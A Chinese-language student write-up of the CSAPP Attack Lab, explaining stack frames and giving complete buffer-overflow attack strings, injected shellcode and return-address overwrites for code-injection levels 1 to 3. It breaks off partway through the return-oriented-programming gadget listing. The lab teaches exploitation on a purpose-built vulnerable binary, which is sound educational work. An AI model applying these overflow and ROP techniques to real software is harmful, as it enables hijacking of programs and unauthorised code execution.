CSAPP:Attack Lab —— 緩衝區溢位攻擊實驗
Warm-up
X86-64暫存器和棧幀
X86-64有16個64位暫存器 :
-%rax 作為函式返回值使用。
- %rsp 棧指標暫存器,指向棧頂。
- %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函式引數,依次對應第1引數,第2引數……
- %rbx,%rbp,%r12,%r13,%14,%15 用作資料儲存,遵循被呼叫者使用規則。
- %r10,%r11 用作資料儲存,遵循呼叫者使用規則。
程式可以用棧來管理它的過程所需要的儲存空間,棧和程式暫存器存放著傳遞控制和資料、分配記憶體所需要的資訊。
當過程需要的儲存空間超出暫存器能夠存放的大小時,就會在棧上分配空間,這個部分稱為過程的棧幀。
將控制從函式P轉移到函式Q只需要簡單地把程式計數器設定為Q的程式碼的起始位置,當稍後從Q返回時,處理器必須記錄好它需要繼續P的執行的程式碼位置。
在x86-64機器中,
call Q
指令會把返回地址即緊跟在call
指令後的那條指令的地址壓入棧中,並將程式計數器設定為Q的起始地址;對應的ret
指令會從棧中彈出返回地址,並把程式計數器設定為該返回地址。
實驗目的
本實驗要求在兩個有著不同安全漏洞的程式上實現五種攻擊。
通過完成本實驗達到:
- 深入理解當程式沒有對緩衝區溢位做足夠防範時,攻擊者可能會如何利用這些安全漏洞。
- 深入理解x86-64機器程式碼的棧和引數傳遞機制。
- 深入理解x86-64指令的編碼方式。
- 熟練使用gdb和objdump等除錯工具。
- 更好地理解寫出安全的程式的重要性,瞭解到一些編譯器和作業系統提供的幫助改善程式安全性的特性。
檔案說明
ctarget
:一個容易遭受code injection攻擊的可執行程式。
rtarget
:一個容易遭受return-oriented programming攻擊的可執行程式。
cookie.txt
:一個8位的十六進位制碼,用於驗證身份的唯一識別符號。
farm.c
:目標“gadget farm”的原始碼,用於產生return-oriented programming攻擊。
hex2raw
:一個生成攻擊字串的工具。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
函式Gets()
類似於標準庫函式gets()
,從標準輸入讀入一個字串,將字串(帶null結束符)儲存在指定的目的地址。二者都只會簡單地拷貝位元組序列,無法確定目標緩衝區是否足夠大以儲存下讀入的字串,因此可能會超出目標地址處分配的儲存空間。
字串不能包含位元組值0x0a
,這是換行符'\n'
的ASCII碼,Gets()
遇到這個位元組時會認為意在結束該字串。
未超出緩衝區大小,正常返回1。
超出緩衝區大小通常會導致程式狀態被破壞,引起記憶體訪問錯誤。
實驗輔助
hex2raw
的使用說明要求輸入是一個十六進位制格式的字串,用兩個十六進位制數字表示一個位元組值,位元組值之間以空白符(空格或新行)分隔,注意使用小端法位元組序。
將攻擊字串存入檔案中,如
attack.txt
,然後用下述方法呼叫:
1.cat attack.txt | ./hex2raw | ./ctarget
2../hex2raw <attack.txt> attackraw.txt
./ctarget < attackraw.txt
或./ctarget -i attackraw.txt
3.結合gdb使用
./hex2raw <attack.txt> attackraw.txt
gdb ctarget
(gdb) run < attackraw.txt
或(gdb) run -i attackraw.txt
生成位元組程式碼操作
編寫一個彙編檔案:
vim attack.s
彙編和反彙編此檔案:
gcc -c attack.s
objdump -d attack.o > attack.d
由此推出這段程式碼的位元組序列。涉及的gdb命令
(gdb) r
run的簡寫,執行被除錯的程式。若有斷點,則程式暫停在第一個可用斷點處。
(gdb) c
continue的簡寫,繼續執行被除錯程式,直至下一個斷點或程式結束。
(gdb) print <指定變數>
顯示指定變數的值。
(gdb) break *<程式碼地址>
設定斷點。
(gdb) x/<n/f/u> <addr>
examine的簡寫,檢視記憶體地址中的值。
* (gdb) x/< n/f/u > < addr > 的具體用法:
n、f、u是可選的引數。-n是一個正整數,表示需要顯示的記憶體單元的個數。
- f 表示顯示的格式。s表示地址所指的是字串,i表示地址是指令地址。
- u表示從當前地址往後請求的位元組數,如果不指定的話,預設是4位元組。b表示單位元組,h表示雙位元組,w表示四位元組,g表示八位元組。
- < addr >表示一個記憶體地址。
Part I
Code Injection Attacks
程式被設定成棧的位置每次執行都一樣,因此棧上的資料就可以等效於可執行程式碼,使得程式更容易遭受包含可執行程式碼位元組編碼的攻擊字串的攻擊。
-Level 1
函式test
呼叫了函式getbuf
,getbuf
執行返回語句時,程式會繼續執行test
函式中的語句。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
而我們要改變這個行為,使 getbuf
返回的時候,執行 touch1
而不是返回 test
。
void touch1()
{
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
從touch1
看出我們不需要注入新的程式碼,只需要用攻擊字串指引程式執行一個已經存在的函式,也就是使getbuf
結尾處的ret
指令將控制轉移到touch1
。
0000000000401825 <getbuf>:
401825: 48 83 ec 38 sub $0x38,%rsp
401829: 48 89 e7 mov %rsp,%rdi
40182c: e8 7f 02 00 00 callq 401ab0 <Gets>
401831: b8 01 00 00 00 mov $0x1,%eax
401836: 48 83 c4 38 add $0x38,%rsp
40183a: c3
從sub $0x38,%rsp
這條指令可以得到getbuf
建立的緩衝區大小為0x38
位元組即56位元組。
000000000040183b <touch1>:
40183b: 48 83 ec 08 sub $0x8,%rsp
40183f: c7 05 b3 2c 20 00 01 movl $0x1,0x202cb3(%rip) # 6044fc <vlevel>
401846: 00 00 00
401849: bf dd 30 40 00 mov $0x4030dd,%edi
40184e: e8 0d f4 ff ff callq 400c60 <puts@plt>
401853: bf 01 00 00 00 mov $0x1,%edi
401858: e8 a9 04 00 00 callq 401d06 <validate>
40185d: bf 00 00 00 00 mov $0x0,%edi
401862: e8 79 f5 ff ff callq 400de0 <exit@plt>
從這裡可以看出,touch1
函式的起始地址為0x40183b
。
要使getbuf
結尾處的ret
指令將控制轉移到touch1
,我們只需利用緩衝區溢位將返回地址修改為touch1
的起始地址。
我們的攻擊字串就誕生了,不如把它命名為attack1.txt
:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上(任意位元組除0x0a)填充滿整個緩衝區(56位元組)以致溢位。
3b 18 40 00 00 00 00 00
//用函式touch1的起始地址覆蓋掉原先的返回地址(注意位元組順序)。
呼叫hex2raw
並執行ctarget
:
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -i attackraw1.txt
-Level 2
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
在 getbuf
函式返回的時候,執行 touch2
而不是返回 test
。不同的是,我們需要注入新的程式碼,並且必須讓touch2
以為它接收到的引數是自己的 cookie
,即0x73fb1600
。
0000000000401867 <touch2>:
401867: 48 83 ec 08 sub $0x8,%rsp
40186b: 89 fa mov %edi,%edx
40186d: c7 05 85 2c 20 00 02 movl $0x2,0x202c85(%rip) # 6044fc <vlevel>
401874: 00 00 00
401877: 3b 3d 87 2c 20 00 cmp 0x202c87(%rip),%edi # 604504 <cookie>
40187d: 75 20 jne 40189f <touch2+0x38>
40187f: be 00 31 40 00 mov $0x403100,%esi
401884: bf 01 00 00 00 mov $0x1,%edi
401889: b8 00 00 00 00 mov $0x0,%eax
40188e: e8 0d f5 ff ff callq 400da0 <__printf_chk@plt>
401893: bf 02 00 00 00 mov $0x2,%edi
401898: e8 69 04 00 00 callq 401d06 <validate>
40189d: eb 1e jmp 4018bd <touch2+0x56>
40189f: be 28 31 40 00 mov $0x403128,%esi
4018a4: bf 01 00 00 00 mov $0x1,%edi
4018a9: b8 00 00 00 00 mov $0x0,%eax
4018ae: e8 ed f4 ff ff callq 400da0 <__printf_chk@plt>
4018b3: bf 02 00 00 00 mov $0x2,%edi
4018b8: e8 0b 05 00 00 callq 401dc8 <fail>
4018bd: bf 00 00 00 00 mov $0x0,%edi
4018c2: e8 19 f5 ff ff callq 400de0 <exit@plt>
從這裡可以看出,touch2
函式的起始地址為0x401867
。
touch2
的引數 val
儲存於暫存器 %rdi
,我們要做的就是先跳轉到一個地方執行一段程式碼,這段程式碼能夠將暫存器 %rdi
的值設定為cookie
,然後再跳轉到 touch2
執行。
這就是我們要注入的指令程式碼:
mov $0x73fb1600,%rdi
pushq $0x401867
ret
彙編和反彙編得到:
0000000000000000 <.text>:
0: 48 c7 c7 00 16 fb 73 mov $0x73fb1600,%rdi
7: 68 67 18 40 00 pushq $0x401867
c: c3 retq
於是我們要注入的程式碼字串為48 c7 c7 00 16 fb 73 68 67 18 40 00 c3
。
和Level 1 類似,利用緩衝區溢位將返回地址修改為這段程式碼的起始地址,就能讓程式執行我們注入的這段程式碼。
記憶體中儲存這段程式碼的地方便是 getbuf
開闢的緩衝區,我們利用gdb檢視此時緩衝區的起始地址。
getbuf
呼叫函式Gets
開闢緩衝區,那我們就來看看呼叫完後緩衝區的位置。
可見此時緩衝區的起始地址為0x55674e78
。
那麼最後的攻擊字串是這樣子的:
48 c7 c7 00 16 fb 73 68
67 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入程式碼填充滿整個緩衝區(56位元組)以致溢位。
78 4e 67 55 00 00 00 00
//用緩衝區的起始地址覆蓋掉原先的返回地址(注意位元組順序)。
同樣地,呼叫hex2raw
並執行ctarget
:
-Level 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
在 getbuf
函式返回的時候,執行 touch3
而不是返回 test
。從touch3
可以看出我們需要注入新的程式碼,並且必須讓touch3
以為它接收到的引數是自己的 cookie
的字串表示。
和Level 2的區別在於,我們要將暫存器%rdi
設定為cookie
字串的指標即儲存cookie
字串的地址。
man ascii
指令可以對照著找到cookie
的字元的位元組表示。
0x73fb1600
—37 33 66 62 31 36 30 30
。
0000000000401975 <touch3>:
401975: 53 push %rbx
401976: 48 89 fb mov %rdi,%rbx
401979: c7 05 79 2b 20 00 03 movl $0x3,0x202b79(%rip) # 6044fc <vlevel>
401980: 00 00 00
401983: 48 89 fe mov %rdi,%rsi
401986: 8b 3d 78 2b 20 00 mov 0x202b78(%rip),%edi # 604504 <cookie>
40198c: e8 36 ff ff ff callq 4018c7 <hexmatch>
401991: 85 c0 test %eax,%eax
401993: 74 23 je 4019b8 <touch3+0x43>
401995: 48 89 da mov %rbx,%rdx
401998: be 50 31 40 00 mov $0x403150,%esi
40199d: bf 01 00 00 00 mov $0x1,%edi
4019a2: b8 00 00 00 00 mov $0x0,%eax
4019a7: e8 f4 f3 ff ff callq 400da0 <__printf_chk@plt>
4019ac: bf 03 00 00 00 mov $0x3,%edi
4019b1: e8 50 03 00 00 callq 401d06 <validate>
4019b6: eb 21 jmp 4019d9 <touch3+0x64>
4019b8: 48 89 da mov %rbx,%rdx
4019bb: be 78 31 40 00 mov $0x403178,%esi
4019c0: bf 01 00 00 00 mov $0x1,%edi
4019c5: b8 00 00 00 00 mov $0x0,%eax
4019ca: e8 d1 f3 ff ff callq 400da0 <__printf_chk@plt>
4019cf: bf 03 00 00 00 mov $0x3,%edi
4019d4: e8 ef 03 00 00 callq 401dc8 <fail>
4019d9: bf 00 00 00 00 mov $0x0,%edi
4019de: e8 fd f3 ff ff callq 400de0 <exit@plt>
從這裡可以看出,touch3
函式的起始地址為0x401975
。
在touch3
中呼叫 hexmatch
以及其中的strncmp
函式時,會將資料壓入棧中,覆蓋getbuf
使用的緩衝區的記憶體。因此,我們需要看看呼叫 hexmatch
之前和之後緩衝區分別是什麼樣子的,才能確定把我們的cookie
字串放在合適的位置從而不會被改變。
類似Level 1的攻擊字串,我們先寫一個能夠進入到touch3
以便檢視緩衝區的字串。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上(任意位元組除0x0a)填充滿整個緩衝區(56位元組)以致溢位。
75 19 40 00 00 00 00 00
//用函式touch3的起始地址覆蓋掉原先的返回地址(注意位元組順序)。
然後結合gdb執行ctarget
進入touch3
並分別在呼叫hexmatch
前後設定斷點看看緩衝區。
可以看出緩衝區的 56 個位元組裡,0x55674e78
~0x55674e87
這16個位元組用來儲存我們的注入程式碼,
而0x55674e88
~0x55674eaf
這40個位元組內並沒有連續的 8 個沒有被覆蓋的位元組。
在緩衝區外,0x55674eb0
~0x55674eb7
這8個位元組用來儲存返回地址即緩衝區起始地址0x55674e78
, 幸運地發現0x55674eb8
~0x55674ebf
這8個位元組並沒有發生變化,恰好可以用來儲存我們的cookie
字串。
mov $0x55674eb8,%rdi
pushq $0x401975
ret
彙編和反彙編得到:
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 b8 4e 67 55 mov $0x55674eb8,%rdi
7: 68 75 19 40 00 pushq $0x401975
c: c3 retq
最後的攻擊字串是這樣子的:
48 c7 c7 b8 4e 67 55 68
75 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入程式碼填充滿整個緩衝區(56位元組)以致溢位。
78 4e 67 55 00 00 00 00
//用緩衝區的起始地址覆蓋掉原先的返回地址(注意位元組順序)。
37 33 66 62 31 36 30 30
//cookie字串的位元組表示。
然後又看到令人開心的結果啦:
Part II
Return-Oriented Programming Attacks
採用以下兩種技術對抗攻擊:
-隨機化,每次執行棧的位置都不同,所以無法決定注入程式碼應放位置。
-將儲存棧的記憶體區域設定為不可執行,所以即使能夠把注入的程式碼的起始地址放入程式計數器中,程式也會報段錯誤失敗。可以通過現有程式中的程式碼而不是注入新的程式碼來實現攻擊。
使用gadget farm
裡的gadget
來攻擊rtarget
程式。每條指令最後跟著 ret
,就能從一個 gadget
跳轉到另一個 gadget
中,從而實現我們需要的操作。
- 指令的位元組編碼(所有的值均為十六進位制)
注意:
-
nop
是一個空操作,只是讓程式計數器加一,該指令編碼為0x90
。
-2位元組指令可以作為有功能的nop
,不改變任何暫存器或記憶體的值。
- 在
gadget farm
中找出指令(‘指令編碼’)
0000000000401a0c <start_farm>:
401a0c: b8 01 00 00 00 mov $0x1,%eax
401a11: c3 retq
0000000000401a12 <setval_263>:
401a12: c7 07 48 89 c7 91 movl $0x91c78948,(%rdi)
401a18: c3 retq
0000000000401a19 <getval_153>:
401a19: b8 f8 48 89 c7 mov $0xc78948f8,%eax
401a1e: c3 retq
0000000000401a1f <getval_438>:
401a1f: b8 48 09 c7 c3 mov $0xc3c70948,%eax
401a24: c3 retq
0000000000401a25 <getval_146>:
401a25: b8 cd 23 50 90 mov $0x905023cd,%eax
401a2a: c3 retq
0000000000401a2b <setval_278>:
401a2b: c7 07 `58 90 90 c3` movl $0xc3909058,(%rdi) popq %rax
401a31: c3 retq
0000000000401a32 <setval_148>:
401a32: c7 07 58 90 90 90 movl $0x90909058,(%rdi)
401a38: c3 retq
0000000000401a39 <getval_294>:
401a39: b8 a4 94 90 mov $0x909458a4,%eax
401a3e: c3 retq
0000000000401a3f <setval_161>:
401a3f: c7 07 `48 89 c7 c3` movl $0xc3c78948,(%rdi) mov %rax,%rdi
401a45: c3 retq
0000000000401a46 <mid_farm>:
401a46: b8 01 00 00 00 mov $0x1,%eax
401a4b: c3 retq
0000000000401a4c <add_xy>:
401a4c: `48 8d 04 37` lea (%rdi,%rsi,1),%rax lea (%rdi,%rsi,1),%rax
401a50: `c3` retq
0000000000401a51 <setval_329>:
401a51: c7 07 `89 c2 38 c0` movl $0xc038c289,(%rdi) movl %eax,%edx
401a57: `c3` retq
0000000000401a58 <setval_397>:
401a58: c7 07 89 d1 28 c9 movl $0xc928d189,(%rdi)
401a5e: c3 retq
0000000000401a5f <setval_178>:
401a5f: c7 07 89 ce c2 b2 movl $0xb2c2ce89,(%rdi)
401a65: c3 retq
0000000000401a66 <getval_103>:
401a66: b8 89 ce 00 d2 mov $0xd200ce89,%eax
401a6b: c3 retq
0000000000401a6c <setval_332>:
401a6c: c7 07 81 ce 20 d2 movl $0xd220ce81,(%rdi)
401a72: c3 retq
0000000000401a73 <setval_376>:
401a73: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a79: c3 retq
0000000000401a7a <setval_143>:
401a7a: c7 07 c9 d1 08 db movl $0xdb08d1c9,(%rdi)
401a80: c3 retq
0000000000401a81 <getval_149>:
401a81: b8 99 c2 08 db mov $0xdb08c299,%eax
401a86: c3 retq
0000000000401a87 <addval_461>:
401a87: 8d 87 8b d1 84 db lea -0x247b2e75(%rdi),%eax
401a8d: c3 retq
0000000000401a8e <addval_271>:
401a8e: 8d 87 48 81 e0 c3 lea -0x3c1f7eb8(%rdi),%eax
401a94: c3 retq
0000000000401a95 <getval_459>:
401a95: b8 89 c2 c4 c0 mov $0xc0c4c289,%eax
401a9a: c3 retq
0000000000401a9b <getval_385>:
401a9b: b8 89 c2 18 d2 mov $0xd218c289,%eax
401aa0: c3 retq
0000000000401aa1 <addval_462>:
401aa1: 8d 87 8b ce 08 c9 lea -0x36f73175(%rdi),%eax
401aa7: c3 retq
0000000000401aa8 <getval_150>:
401aa8: b8 `89 d1 20 c9` mov $0xc920d189,%eax movl %edx,%ecx
401aad: `c3` retq
0000000000401aae <setval_236>:
401aae: c7 07 `89 c2 20 d2` movl $0xd220c289,(%rdi) movl %eax,%edx
401ab4: `c3` retq
0000000000401ab5 <addval_165>:
401ab5: 8d 87 `48 89 e0 90` lea -0x6f1f76b8(%rdi),%eax mov %rsp,%rax
401abb: `c3` retq
0000000000401abc <addval_285>:
401abc: 8d 87 ce 89 d1 c2 lea -0x3d2e7632(%rdi),%eax
401ac2: c3 retq
0000000000401ac3 <getval_212>:
401ac3: b8 81 c2 90 90 mov $0x9090c281,%eax
401ac8: c3 retq
0000000000401ac9 <getval_112>:
401ac9: b8 `89 ce 08 c0` mov $0xc008ce89,%eax movl %ecx,%esi
401ace: `c3` retq
0000000000401acf <getval_191>:
401acf: b8 f7 48 88 e0 mov $0xe08848f7,%eax
401ad4: c3 retq
0000000000401ad5 <getval_309>:
401ad5: b8 48 89 e0 c7 mov $0xc7e08948,%eax
401ada: c3 retq
0000000000401adb <addval_111>:
401adb: 8d 87 48 89 e0 c1 lea -0x3e1f76b8(%rdi),%eax
401ae1: c3 retq
0000000000401ae2 <addval_133>:
401ae2: 8d 87 89 c2 94 db lea -0x246b3d77(%rdi),%eax
401ae8: c3 retq
0000000000401ae9 <getval_260>:
401ae9: b8 89 ce c7 93 mov $0x93c7ce89,%eax
401aee: c3 retq
0000000000401aef <setval_454>:
401aef: c7 07 89 ce 90 c3 movl $0xc390ce89,(%rdi)
401af5: c3 retq
0000000000401af6 <setval_496>:
401af6: c7 07 08 89 e0 c3 movl $0xc3e08908,(%rdi)
401afc: c3 retq
0000000000401afd <addval_330>:
401afd: 8d 87 70 89 ce 91 lea -0x6e317690(%rdi),%eax
401b03: c3 retq
0000000000401b04 <setval_437>: